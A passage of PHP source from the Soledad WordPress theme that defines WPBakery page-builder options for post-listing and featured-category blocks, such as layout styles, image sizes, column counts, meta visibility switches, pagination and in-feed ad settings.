						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Hide Comment Count', 'soledad' ),
						'param_name'       => 'standard_comment',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Show Views Count', 'soledad' ),
						'param_name'       => 'standard_viewscount',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Hide Reading Time', 'soledad' ),
						'param_name'       => 'standard_readtime',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Remove Line Above Post Excerpt', 'soledad' ),
						'param_name'       => 'standard_remove_line',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Auto Render Post Excerpt', 'soledad' ),
						'param_name'       => 'standard_auto_excerpt',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Hide Post Content/Post Excerpt', 'soledad' ),
						'param_name'       => 'standard_remove_excerpt',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'value'            => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Disable Hover Effect on "Continue Reading" Button', 'soledad' ),
						'param_name'       => 'standard_effect_button',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Make "Continue Reading" is A Button', 'soledad' ),
						'param_name'       => 'std_continue_btn',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
						'dependency'       => array( 'element' => 'standard_auto_excerpt', 'value' => 'yes' ),
					),
					array(
						'type'       => 'textfield',
						'heading'    => esc_html__( 'Custom Words Length for Post Titles', 'soledad' ),
						'param_name' => 'standard_title_length',
					),

					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Hide Share Icons', 'soledad' ),
						'param_name'       => 'standard_share_box',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'       => 'textfield',
						'heading'    => esc_html__( 'Custom Excerpt Length', 'soledad' ),
						'param_name' => 'standard_excerpt_length',
					),
					array(
						'type'       => 'dropdown',
						'heading'    => __( 'Align Excerpt', 'soledad' ),
						'value'      => array(
							'Default' => '',
							'Left'    => 'left',
							'Center'  => 'center',
							'Right'   => 'right',
						),
						'param_name' => 'std_excerpt_align',
						'dependency' => array(
							'element' => 'style',
							'value'   => array(
								'standard',
								'classic',
								'grid',
								'grid-2',
								'masonry',
								'masonry-2',
								'list',
								'mixed',
								'mixed-2',
								'standard-grid',
								'standard-grid-2',
								'standard-list',
								'standard-boxed-1',
								'classic-grid',
								'classic-grid-2',
								'classic-list',
								'classic-boxed-1',
								'overlay-grid',
								'overlay-list'
							)
						),
					),
					array(
						'type'       => 'dropdown',
						'heading'    => __( 'Align "Continue Reading" Button', 'soledad' ),
						'value'      => array(
							'Default' => '',
							'Left'    => 'left',
							'Center'  => 'center',
							'Right'   => 'right',
						),
						'param_name' => 'std_continue_align',
						'dependency' => array(
							'element' => 'style',
							'value'   => array(
								'standard',
								'classic',
								'grid',
								'grid-2',
								'masonry',
								'masonry-2',
								'list',
								'mixed',
								'mixed-2',
								'standard-grid',
								'standard-grid-2',
								'standard-list',
								'standard-boxed-1',
								'classic-grid',
								'classic-grid-2',
								'classic-list',
								'classic-boxed-1',
								'overlay-grid',
								'overlay-list'
							)
						),
					),
					array(
						'type'       => 'dropdown',
						'heading'    => __( 'Standard Heading HTML Tag', 'soledad' ),
						'value'      => array(
							'Default' => '',
							'H1'    	=> 'h1',
							'H2'    	=> 'h2',
							'H3'    	=> 'h3',
							'H4'    	=> 'h4',
							'H5'    	=> 'h5',
							'H6'    	=> 'h6',
						),
						'param_name' => 'standard_title_tag',
						'dependency' => array(
							'element' => 'style',
							'value'   => array(
								'standard',
								'classic',
								'grid',
								'grid-2',
								'masonry',
								'masonry-2',
								'list',
								'mixed',
								'mixed-2',
								'standard-grid',
								'standard-grid-2',
								'standard-list',
								'standard-boxed-1',
								'classic-grid',
								'classic-grid-2',
								'classic-list',
								'classic-boxed-1',
								'overlay-grid',
								'overlay-list'
							)
						),
					),
					// Other Layouts Options
					array(
						'type'             => 'textfield',
						'param_name'       => 'section_order_layouts_layout',
						'heading'          => esc_html__( 'Other Layouts Options', 'soledad' ),
						'value'            => '',
						'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
					),
					array(
						'type'       => 'dropdown',
						'heading'    => __( 'Image Size Type', 'soledad' ),
						'value'      => array(
							'Default'         => '',
							'Horizontal Size' => 'horizontal',
							'Square Size'     => 'square',
							'Vertical Size'   => 'vertical',
							'Custom'          => 'custom',
						),
						'std'        => '',
						'param_name' => 'penci_featimg_size',
					),
					array(
						'type'       => 'penci_only_number',
						'heading'    => esc_html__( 'Image Ratio.Unit is %. E.g: 50', 'soledad' ),
						'param_name' => 'penci_featimg_ratio',
						'value'      => '',
						'std'        => '',
						'min'        => 0,
						'max'        => 100,
						'suffix'     => '%',
						'dependency' => array( 'element' => 'penci_featimg_size', 'value' => 'custom' ),
					),
					array(
						'type'       => 'dropdown',
						'heading'    => __( 'Custom Image Size', 'soledad' ),
						'value'      => array(
							'Default'                              => '',
							'Thumbnail - 150 x 150'                => 'thumbnail',
							'Medium - 300 x 300'                   => 'medium',
							'Medium Large - 768 x auto'            => 'medium_large',
							'Large - 1024 x 1024'                  => 'large',
							'Penci-single-full - 1920 x auto'      => 'penci-single-full',
							'Penci-slider-full-thumb - 1920 x 800' => 'penci-slider-full-thumb',
							'Penci-full-thumb - 1170 x auto'       => 'penci-full-thumb',
							'Penci-slider-thumb - 1170 x 663'      => 'penci-slider-thumb',
							'Penci-magazine-slider - 780 x 516'    => 'penci-magazine-slider',
							'Penci-thumb - 585 x 390'              => 'penci-thumb',
							'Penci-masonry-thumb - 585 x auto'     => 'penci-masonry-thumb',
							'Penci-thumb-square - 585 x 585'       => 'penci-thumb-square',
							'Penci-thumb-vertical - 480 x 650'     => 'penci-thumb-vertical',
							'Penci-thumb-small - 263 x 175'        => 'penci-thumb-small',
							'Full'                                 => 'full',
						),
						'param_name' => 'thumb_size',
						'dependency' => array( 'element' => 'penci_featimg_size', 'value' => 'custom' ),
					),
					array(
						'type'       => 'dropdown',
						'heading'    => __( 'Custom Image Size for Big Posts', 'soledad' ),
						'value'      => array(
							'Default'                              => '',
							'Thumbnail - 150 x 150'                => 'thumbnail',
							'Medium - 300 x 300'                   => 'medium',
							'Medium Large - 768 x auto'            => 'medium_large',
							'Large - 1024 x 1024'                  => 'large',
							'Penci-single-full - 1920 x auto'      => 'penci-single-full',
							'Penci-slider-full-thumb - 1920 x 800' => 'penci-slider-full-thumb',
							'Penci-full-thumb - 1170 x auto'       => 'penci-full-thumb',
							'Penci-slider-thumb - 1170 x 663'      => 'penci-slider-thumb',
							'Penci-magazine-slider - 780 x 516'    => 'penci-magazine-slider',
							'Penci-thumb - 585 x 390'              => 'penci-thumb',
							'Penci-masonry-thumb - 585 x auto'     => 'penci-masonry-thumb',
							'Penci-thumb-square - 585 x 585'       => 'penci-thumb-square',
							'Penci-thumb-vertical - 480 x 650'     => 'penci-thumb-vertical',
							'Penci-thumb-small - 263 x 175'        => 'penci-thumb-small',
							'Full'                                 => 'full',
						),
						'param_name' => 'thumb_bigsize',
						'dependency' => array( 'element' => 'penci_featimg_size', 'value' => 'custom' ),
					),
					array(
						'type'             => 'dropdown',
						'heading'          => __( 'Columns on Desktop', 'soledad' ),
						'value'            => array(
							'Default' => '',
							1         => 1,
							2         => 2,
							3         => 3,
							4         => 4,
							5         => 6,
							6         => 6,
						),
						'std'              => '',
						'param_name'       => 'order_columns',
						'edit_field_class' => 'vc_col-sm-4',
						'dependency'       => array( 'element' => 'style', 'value' => array( 'grid', 'masonry' ) ),
					),
					array(
						'type'             => 'dropdown',
						'heading'          => __( 'Columns on Tablet', 'soledad' ),
						'value'            => array(
							'Default' => '',
							1         => 1,
							2         => 2,
							3         => 3,
							4         => 4,
							5         => 6,
							6         => 6,
						),
						'std'              => '',
						'param_name'       => 'order_columns_tablet',
						'edit_field_class' => 'vc_col-sm-6',
						'dependency'       => array( 'element' => 'style', 'value' => array( 'grid', 'masonry' ) ),
					),
					array(
						'type'             => 'dropdown',
						'heading'          => __( 'Columns on Mobile', 'soledad' ),
						'value'            => array(
							'Default' => '',
							1         => 1,
							2         => 2,
							3         => 3,
							4         => 4,
							5         => 6,
							6         => 6,
						),
						'std'              => '',
						'param_name'       => 'order_columns_mobile',
						'edit_field_class' => 'vc_col-sm-4',
						'dependency'       => array( 'element' => 'style', 'value' => array( 'grid', 'masonry' ) ),
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Hide Icon Post Format', 'soledad' ),
						'param_name'       => 'grid_icon_format',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Enable Post Meta Overlay Featured Image', 'soledad' ),
						'param_name'       => 'grid_meta_overlay',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Enable Uppercase on Post Categories', 'soledad' ),
						'param_name'       => 'grid_uppercase_cat',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'        => 'penci_switch',
						'heading'     => __( 'Do Not Crop Images in List Layouts', 'soledad' ),
						'param_name'  => 'grid_nocrop_list',
						'true_state'  => 'yes',
						'false_state' => 'no',
						'default'     => 'no',
						'std'         => 'no',
						'description' => 'This option does not apply for gallery posts format',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Hide Share Box', 'soledad' ),
						'param_name'       => 'grid_share_box',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Hide Category', 'soledad' ),
						'param_name'       => 'grid_cat',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Hide Post Author', 'soledad' ),
						'param_name'       => 'grid_author',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Hide Post Date', 'soledad' ),
						'param_name'       => 'grid_date',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Hide Comment Count on Mixed & Overlay Posts', 'soledad' ),
						'param_name'       => 'grid_comment',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Show Comment Count on Grid, Masonry, List, Boxed, Photography Posts', 'soledad' ),
						'param_name'       => 'grid_comment_other',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Show Views Count', 'soledad' ),
						'param_name'       => 'grid_viewscount',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Hide Reading Time', 'soledad' ),
						'param_name'       => 'grid_readtime',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Remove Line Above Post Excerpt', 'soledad' ),
						'param_name'       => 'grid_remove_line',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Remove Post Excerpt', 'soledad' ),
						'param_name'       => 'grid_remove_excerpt',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Add "Read more" button link', 'soledad' ),
						'param_name'       => 'grid_add_readmore',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Remove arrow on "Read more"', 'soledad' ),
						'param_name'       => 'grid_remove_arrow',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Make "Read more" is A Button', 'soledad' ),
						'param_name'       => 'grid_readmore_button',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'       => 'dropdown',
						'heading'    => __( 'Share Box Alignment', 'soledad' ),
						'value'      => array(
							'Default' => '',
							'Left'    => 'left',
							'Center'  => 'center',
							'Right'   => 'right',
						),
						'param_name' => 'share_alignment'
					),
					array(
						'type'             => 'dropdown',
						'heading'          => __( 'Align "Read more" Button', 'soledad' ),
						'std'              => 'left',
						'value'            => array(
							'Left'   => 'left',
							'Center' => 'center',
							'Right'  => 'right',
						),
						'param_name'       => 'grid_readmore_align',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'       => 'textfield',
						'heading'    => esc_html__( 'Custom Words Length for Post Titles', 'soledad' ),
						'param_name' => 'grid_title_length',
					),
					array(
						'type'             => 'textfield',
						'heading'          => esc_html__( 'Custom Excerpt Length', 'soledad' ),
						'param_name'       => 'grid_excerpt_length',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'       => 'dropdown',
						'heading'    => __( 'Align Excerpt', 'soledad' ),
						'value'      => array(
							'Default' => '',
							'Left'    => 'left',
							'Center'  => 'center',
							'Right'   => 'right',
						),
						'param_name' => 'grid_excerpt_align',
						'dependency' => array(
							'element' => 'style',
							'value'   => array(
								'standard',
								'classic',
								'grid',
								'grid-2',
								'masonry',
								'masonry-2',
								'list',
								'mixed',
								'mixed-2',
								'standard-grid',
								'standard-grid-2',
								'standard-list',
								'standard-boxed-1',
								'classic-grid',
								'classic-grid-2',
								'classic-list',
								'classic-boxed-1',
								'overlay-grid',
								'overlay-list'
							)
						),
					),
					array(
						'type'       => 'dropdown',
						'heading'    => __( 'Grid Heading HTML Tag', 'soledad' ),
						'value'      => array(
							'Default' => '',
							'H1'    	=> 'h1',
							'H2'    	=> 'h2',
							'H3'    	=> 'h3',
							'H4'    	=> 'h4',
							'H5'    	=> 'h5',
							'H6'    	=> 'h6',
						),
						'param_name' => 'grid_title_tag',
						'dependency' => array(
							'element' => 'style',
							'value'   => array(
								'standard',
								'classic',
								'grid',
								'grid-2',
								'masonry',
								'masonry-2',
								'list',
								'mixed',
								'mixed-2',
								'standard-grid',
								'standard-grid-2',
								'standard-list',
								'standard-boxed-1',
								'classic-grid',
								'classic-grid-2',
								'classic-list',
								'classic-boxed-1',
								'overlay-grid',
								'overlay-list'
							)
						),
					),
					array(
						'type'        => 'textfield',
						'heading'     => esc_html__( 'Image Width on List & Small List Layout', 'soledad' ),
						'param_name'  => 'list_imgwidth',
						'description' => __( 'Unit is px or %. Fill unit here also. Example:  <strong>200px</strong> or <strong>30%</strong>', 'soledad' ),
						'dependency'  => array(
							'element' => 'style',
							'value'   => array(
								'list',
								'small-list',
								'mixed-3',
								'mixed-4',
								'standard-list',
								'classic-list',
								'overlay-list'
							)
						)
					),

					// Nav
					array(
						'type'             => 'textfield',
						'param_name'       => 'heading_page_nav_settings',
						'heading'          => esc_html__( 'Page Navigation', 'soledad' ),
						'value'            => '',
						'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
					),
					array(
						'type'        => 'dropdown',
						'heading'     => __( 'Page Navigation Style', 'soledad' ),
						'value'       => array(
							'Page Navigation Numbers' => 'numbers',
							'Load More Posts'         => 'loadmore',
							'Infinite Scroll'         => 'scroll',
							'Next/Previous'           => 'nextprev',
							'None'                    => 'none'
						),
						'param_name'  => 'paging',
						'description' => 'Select Page Navigation Style',
					),
					array(
						'type'        => 'textfield',
						'heading'     => esc_html__( 'Custom Number Posts for Each Time Load More Posts', 'soledad' ),
						'param_name'  => 'morenum',
						'value'       => '',
						'description' => esc_html__( 'Use numeric value only', 'soledad' ),
						'dependency'  => array( 'element' => 'paging', 'value' => array( 'loadmore', 'scroll' ) ),
					),
					array(
						'type'             => 'penci_number',
						'param_name'       => 'penci_paging_martop',
						'heading'          => __( 'Margin Top for Page Navigation', 'soledad' ),
						'value'            => '',
						'std'              => '',
						'suffix'           => 'px',
						'min'              => 1,
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'textfield',
						'param_name'       => 'heading_page_nav_settings',
						'heading'          => esc_html__( 'In-feed Ads', 'soledad' ),
						'value'            => '',
						'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
					),
					array(
						'type'       => 'textfield',
						'heading'    => esc_html__( 'Insert In-feed Ads Code After Every How Many Posts?', 'soledad' ),
						'param_name' => 'infeed_num',
						'value'      => '3',
					),
					array(
						'type'       => 'textarea_raw_html',
						'holder'     => 'div',
						'heading'    => __( 'In-feed Ads Code/HTML', 'soledad' ),
						'param_name' => 'infeed_code',
					),
					array(
						'type'       => 'dropdown',
						'heading'    => __( 'In-feed Ads Layout Type', 'soledad' ),
						'value'      => array(
							'Follow Selected Layout' => '',
							'Full Width'             => 'full',
						),
						'param_name' => 'infeed_layout',
					),
					array(
						'type'             => 'textfield',
						'param_name'       => 'latestpost_heading_2',
						'heading'          => esc_html__( 'Block Heading Title', 'soledad' ),
						'value'            => '',
						'group'            => 'Heading',
						'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
					),
					array(
						'type'        => 'penci_switch',
						'true_state'  => 'yes',
						'false_state' => 'no',
						'default'     => 'no',
						'std'         => 'no',
						'heading'     => __( 'Hide Heading Title', 'soledad' ),
						'param_name'  => 'hide_block_heading',
						'group'       => 'Heading',
					),
				), Penci_Vc_Params_Helper::heading_block_params( false ), Penci_Vc_Params_Helper::params_heading_typo_color(), Penci_Vc_Params_Helper::params_latest_posts_typo_color(), Penci_Vc_Params_Helper::params_heading_filter(), Penci_Vc_Params_Helper::params_custom_meta_fields(), Penci_Vc_Params_Helper::params_heading_filter_style(), array(
					array(
						'type'       => 'css_editor',
						'heading'    => __( 'CSS box', 'soledad' ),
						'param_name' => 'css',
						'group'      => __( 'Design Options', 'soledad' ),
					),
					penci_get_vc_responsive_spacing_map(),
				) )
			) );

			// Featured Categories
			vc_map( array(
				'name'        => penci_get_theme_name( 'Penci' ) . ' ' . __( 'Featured Category', 'soledad' ),
				'description' => 'Display A Featured Category',
				'base'        => 'featured_cat',
				'class'       => '',
				'controls'    => 'full',
				'icon'        => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
				'category'    => penci_get_theme_name( 'Soledad' ),
				'weight'      => 700,
				'params'      => array_merge( array(
					array(
						'type'             => 'textfield',
						'param_name'       => 'featured_cat_heading_1',
						'heading'          => esc_html__( 'General', 'soledad' ),
						'value'            => '',
						'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
					),
					array(
						'type'        => 'loop',
						'heading'     => '',
						'param_name'  => 'build_query',
						'value'       => 'post_type:post|size:10',
						'settings'    => array(
							'size'      => array( 'value' => 10, 'hidden' => false ),
							'post_type' => array( 'value' => 'post', 'hidden' => false )
						),
						'description' => __( 'Create WordPress loop, to populate content from your site.', 'soledad' ),
					),
					array(
						'type'        => 'dropdown',
						'heading'     => __( 'Featured Category Layout', 'soledad' ),
						'value'       => array(
							'Style 1 - 1st Post Grid Featured on Left'    => 'style-1',
							'Style 2 - 1st Post Grid Featured on Top'     => 'style-2',
							'Style 3 - Text Overlay'                      => 'style-3',
							'Style 4 - Single Slider'                     => 'style-4',
							'Style 5 - Slider 2 Columns'                  => 'style-5',
							'Style 6 - 1st Post List Featured on Top'     => 'style-6',
							'Style 7 - Grid 2 Columns'                    => 'style-7',
							'Style 8 - List Layout'                       => 'style-8',
							'Style 9 - Small List Layout'                 => 'style-9',
							'Style 10 - 2 First Posts Featured and List'  => 'style-10',
							'Style 11 - Text Overlay Center'              => 'style-11',
							'Style 12 - Slider 3 Columns'                 => 'style-12',
							'Style 13 - Grid 3 Columns'                   => 'style-13',
							'Style 14 - 1st Post Overlay Featured on Top' => 'style-14',
							'Style 15 - Overlay Left then List on Right'  => 'style-15',
						),
						'param_name'  => 'style',
						'description' => '',
					),

					array(
						'type'       => 'dropdown',
						'heading'    => __( 'Image Size Type', 'soledad' ),
						'value'      => array(
							'Default'         => '',
							'Horizontal Size' => 'horizontal',
							'Square Size'     => 'square',
							'Vertical Size'   => 'vertical',
							'Custom'          => 'custom',
						),
						'std'        => '',
						'param_name' => 'penci_featimg_size',
					),
					array(
						'type'       => 'penci_only_number',
						'heading'    => esc_html__( 'Image Ratio.Unit is %. E.g: 50', 'soledad' ),
						'param_name' => 'penci_featimg_ratio',
						'value'      => '',
						'std'        => '',
						'min'        => 0,
						'max'        => 100,
						'suffix'     => '%',
						'dependency' => array( 'element' => 'penci_featimg_size', 'value' => 'custom' ),
					),
					array(
						'type'       => 'dropdown',
						'heading'    => __( 'Custom Image Size', 'soledad' ),
						'value'      => array(
							'Default'                              => '',
							'Thumbnail - 150 x 150'                => 'thumbnail',
							'Medium - 300 x 300'                   => 'medium',
							'Medium Large - 768 x auto'            => 'medium_large',
							'Large - 1024 x 1024'                  => 'large',
							'Penci-single-full - 1920 x auto'      => 'penci-single-full',
							'Penci-slider-full-thumb - 1920 x 800' => 'penci-slider-full-thumb',
							'Penci-full-thumb - 1170 x auto'       => 'penci-full-thumb',
							'Penci-slider-thumb - 1170 x 663'      => 'penci-slider-thumb',
							'Penci-magazine-slider - 780 x 516'    => 'penci-magazine-slider',
							'Penci-thumb - 585 x 390'              => 'penci-thumb',
							'Penci-masonry-thumb - 585 x auto'     => 'penci-masonry-thumb',
							'Penci-thumb-square - 585 x 585'       => 'penci-thumb-square',
							'Penci-thumb-vertical - 480 x 650'     => 'penci-thumb-vertical',
							'Penci-thumb-small - 263 x 175'        => 'penci-thumb-small',
							'Full'                                 => 'full',
						),
						'param_name' => 'thumb_size',
						'dependency' => array( 'element' => 'penci_featimg_size', 'value' => 'custom' ),
					),
					array(
						'type'             => 'dropdown',
						'heading'          => __( 'Columns on Desktop', 'soledad' ),
						'value'            => array(
							'Default' => '',
							1         => 1,
							2         => 2,
							3         => 3,
							4         => 4,
							5         => 6,
							6         => 6,
						),
						'param_name'       => 'penci_columns',
						'edit_field_class' => 'vc_col-sm-2',
						'dependency'       => array(
							'element' => 'style',
							'value'   => array( 'style-3', 'style-11' )
						),
					),
					array(
						'type'             => 'dropdown',
						'heading'          => __( 'Columns on Tablet', 'soledad' ),
						'value'            => array(
							'Default' => '',
							1         => 1,
							2         => 2,
							3         => 3,
							4         => 4,
							5         => 6,
							6         => 6,
						),
						'param_name'       => 'penci_columns_tablet',
						'edit_field_class' => 'vc_col-sm-2',
						'dependency'       => array(
							'element' => 'style',
							'value'   => array( 'style-3', 'style-11' )
						),
					),
					array(
						'type'             => 'dropdown',
						'heading'          => __( 'Columns on Mobile', 'soledad' ),
						'value'            => array(
							'Default' => '',
							1         => 1,
							2         => 2,
							3         => 3,
							4         => 4,
							5         => 6,
							6         => 6,
						),
						'param_name'       => 'penci_columns_mobile',
						'edit_field_class' => 'vc_col-sm-2',
						'dependency'       => array(
							'element' => 'style',
							'value'   => array( 'style-3', 'style-11' )
						),
					),
					array(
						'type'             => 'penci_number',
						'value'            => '',
						'std'              => '',
						'suffix'           => 'px',
						'min'              => 1,
						'heading'          => esc_html__( 'Columns Gap', 'soledad' ),
						'param_name'       => 'penci_column_gap',
						'edit_field_class' => 'vc_col-sm-6',

						'dependency' => array( 'element' => 'style', 'value' => array( 'style-3', 'style-11' ) ),
					),
					array(
						'type'             => 'penci_number',
						'value'            => '',
						'std'              => '',
						'suffix'           => 'px',
						'min'              => 1,
						'heading'          => esc_html__( 'Rows Gap', 'soledad' ),
						'param_name'       => 'penci_row_gap',
						'edit_field_class' => 'vc_col-sm-6',
						'dependency'       => array(
							'element' => 'style',
							'value'   => array( 'style-3', 'style-11', 'style-8' )
						),
					),
					array(
						'type'        => 'penci_switch',
						'heading'     => __( 'Show Thumbnail on Small Posts', 'soledad' ),
						'param_name'  => 'thumb15',
						'true_state'  => 'yes',
						'false_state' => 'no',
						'default'     => 'no',
						'std'         => 'no',
						'dependency'  => array( 'element' => 'style', 'value' => array( 'style-15' ) ),
					),
					array(
						'type'             => 'penci_number',
						'value'            => '',
						'std'              => '',
						'suffix'           => 'px',
						'min'              => 1,
						'heading'          => esc_html__( 'Custom Image Width for Small Posts', 'soledad' ),
						'param_name'       => 'simgwidth',
						'edit_field_class' => 'vc_col-sm-6',
						'dependency'       => array(
							'element' => 'style',
							'value'   => array(
								'style-1',
								'style-2',
								'style-6',
								'style-9',
								'style-10',
								'style-15'
							)
						),
					),
					array(
						'type'       => 'textfield',
						'heading'    => esc_html__( 'Custom Words Length for Post Titles for style 1,2,6,10,14', 'soledad' ),
						'param_name' => 'big_title_length',
						'value'      => '',
					),
					array(
						'type'       => 'textfield',
						'heading'    => esc_html__( 'Custom Words Length for Post Titles', 'soledad' ),
						'param_name' => '_title_length',
						'value'      => '',
					),
					array(
						'type'             => 'textfield',
						'param_name'       => 'featured_cat_heading_2',
						'heading'          => esc_html__( 'Block Heading Title', 'soledad' ),
						'value'            => '',
						'group'            => 'Heading',
						'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
					),
					array(
						'type'        => 'penci_switch',
						'true_state'  => 'yes',
						'false_state' => 'no',
						'default'     => 'no',
						'std'         => 'no',
						'heading'     => __( 'Hide Heading Title', 'soledad' ),
						'param_name'  => 'hide_block_heading',
						'group'       => 'Heading',
					),
					array(
						'type'        => 'penci_switch',
						'heading'     => __( 'Enable Post Meta Overlay Featured Image', 'soledad' ),
						'param_name'  => 'enable_meta_overlay',
						'true_state'  => 'yes',
						'false_state' => 'no',
						'default'     => 'no',
						'std'         => 'no',
						'description' => 'This option just apply for or Featured Category Style 7'
					),
					array(
						'type'        => 'penci_switch',
						'heading'     => __( 'Hide Post Author', 'soledad' ),
						'param_name'  => 'hide_author',
						'true_state'  => 'yes',
						'false_state' => 'no',
						'default'     => 'no',
						'std'         => 'no',
					),
					array(
						'type'        => 'penci_switch',
						'heading'     => __( 'Show Post Author on Small Posts', 'soledad' ),
						'param_name'  => 'show_author_sposts',
						'true_state'  => 'yes',
						'false_state' => 'no',
						'default'     => 'no',
						'std'         => 'no',
					),
					array(
						'type'        => 'penci_switch',
						'heading'     => __( 'Hide Category', 'soledad' ),
						'param_name'  => 'hide_cat',
						'true_state'  => 'yes',
						'false_state' => 'no',
						'default'     => 'no',
						'std'         => 'no',
						'description' => 'This option just apply for or Featured Category Style 8'
					),
					array(
						'type'        => 'penci_switch',
						'heading'     => __( 'Hide Icon Post Format', 'soledad' ),
						'param_name'  => 'hide_icon_format',
						'true_state'  => 'yes',
						'false_state' => 'no',
						'default'     => 'no',
						'std'         => 'no',
					),
					array(
						'type'        => 'penci_switch',
						'heading'     => __( 'Hide Post Date', 'soledad' ),
						'param_name'  => 'hide_date',
						'true_state'  => 'yes',
						'false_state' => 'no',
						'default'     => 'no',
						'std'         => 'no',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Show Comment Count', 'soledad' ),
						'param_name'       => 'show_commentcount',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Show Views Count', 'soledad' ),
						'param_name'       => 'show_viewscount',
